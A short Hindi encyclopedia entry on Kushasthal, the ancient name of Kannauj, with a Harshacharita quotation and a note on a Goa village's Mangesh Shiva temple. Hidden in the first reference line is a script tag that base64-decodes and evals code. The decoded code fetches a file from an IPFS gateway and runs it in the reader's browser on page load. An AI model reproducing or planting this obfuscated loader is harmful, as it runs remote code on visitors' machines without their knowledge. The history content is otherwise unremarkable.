कुशस्थल
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कुशस्थल 'कान्यकुब्ज' (वर्तमान कन्नौज) का प्राचीन नाम है। इसका उल्लेख यात्री युवानच्वांग ने मौखरियों की राजधानी के रूप में किया है।[१]
- हर्षचरित[२] में, राज्यवर्धन के गौड़ाधिपती द्वारा वध किए जाने पर गृहवर्मा, राज्यश्री के दिवंगत पति की राजधानी 'कुशस्थल' को गुप्त नामक राजा द्वारा लिए जाने का वर्णन है-
‘देव देवभूयं गते देवे राज्यवर्धनेगुप्तनाम्ना च गृहीते कुशस्थले, देवी राज्यश्री परिभृश्य बंधनार्द्विध्याटवीं सपरिवारा प्रविष्टेति...’।
- एक अन्य प्रसंग में कुशस्थल, गोआ का प्राचीन ग्राम है, जहाँ शिवोपासना का केंद्र था। पहले यहाँ मंगेश शिव का प्राचीन मंदिर था।
- पुर्तग़ालियों द्वारा गोआ में उपद्रव मचाने पर यहाँ की मूर्ति प्रिमोल में भेज दी गई और वहीं मंदिर बनाया गया।
इन्हें भी देखें: कान्यकुब्ज एवं कन्नौज
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 211 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ उच्छ्वास 6
- ऐतिहासिक स्थानावली | विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
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